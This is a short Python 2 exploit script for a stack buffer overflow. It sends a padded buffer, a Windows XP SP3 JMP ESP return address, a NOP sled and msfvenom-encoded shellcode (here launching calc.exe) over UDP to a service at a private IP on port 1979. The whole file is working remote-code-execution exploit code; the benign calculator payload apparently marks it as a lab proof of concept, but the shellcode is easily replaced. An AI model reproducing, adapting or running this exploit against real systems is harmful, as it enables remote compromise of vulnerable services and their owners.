buffer_overflow_custom_command.py

import socket
import sys

buf= 'A'*260
buf+= '\x53\x93\x42\x7e' #jmp esp win xp sp3
buf+='\x90'*16 #NOP

# Shellcode
# msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -a x86 --platform #windows -b '\x00\x0a\x0d' -f c > a


buf += (
"\xdb\xcc\xd9\x74\x24\xf4\xb8\x8d\x05\xb3\xc0\x5a\x29\xc9\xb1"
"\x37\x31\x42\x1a\x03\x42\x1a\x83\xea\xfc\xe2\x78\xdf\x64\x19"
"\xf6\xc4\x7e\x20\xb9\x47\xcd\xfa\x1e\x63\xf8\xb4\x91\xf0\x39"
"\xb2\xe0\xa5\xae\xb8\x1e\x1a\x81\xe4\x40\x24\x37\xbc\xe2\x67"
"\x4f\x91\x61\x96\x18\xa6\x9d\x87\x61\x26\xc1\x09\x81\x15\x8d"
"\xd0\xda\xff\x16\x35\xf5\x43\x5a\x26\x16\x40\x4f\xca\x78\x69"
"\x5a\x60\x17\xad\x90\xf0\xda\x6b\xbc\x47\x7c\x0b\xa4\xa8\xa9"
"\xac\xc7\x92\xa0\xed\x27\xe9\xb4\x0f\xf0\xe9\xe7\xf1\xa8\x31"
"\x38\x9a\x14\xb3\x22\x7f\x6f\x3a\x3d\x34\xa2\x8d\x67\x2f\xac"
"\x11\x3f\x2d\x99\xd2\x13\xa3\x8e\x1a\x7a\xe1\xa4\x59\xb6\x40"
"\x2a\x47\x09\x9c\xf8\x90\x65\x5b\xe5\x85\x51\xef\x50\x82\xbe"
"\xb1\xa4\xb6\x14\x56\x88\xfb\xbb\xd5\xdc\x91\x31\x33\xb1\xe9"
"\xe2\xd6\x64\xd6\x11\x61\xd0\x1f\x48\x46\xf9\x7c\xcf\x01\x91"
"\xae\xb7\xd3\x0b\x13\x78\x43\x3a\x98\xef\x08\xcc\xc8\x68\xf6"
"\x74\xd1\x97\x16\x8d\xb9\x3a\xf6\x69\xa6\x4d\x6a\x7d\xb9\x22"
"\x01\x18\x5c\x96\x19\x74\x89\xcc\xd8\xe0\x32\x49\x33\xeb\x7c"
"\x8c\xbe\x95\x6c\x4b\x43"
)

try:
    sc = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #udp socket
    sc.connect(("192.168.1.107", 1979))
    sc.send(buf + "\n")
    print "[+] Evil buffer sent"
    sc.close()

except:
    print "[-] Can't send evil buffer"
    sys.exit()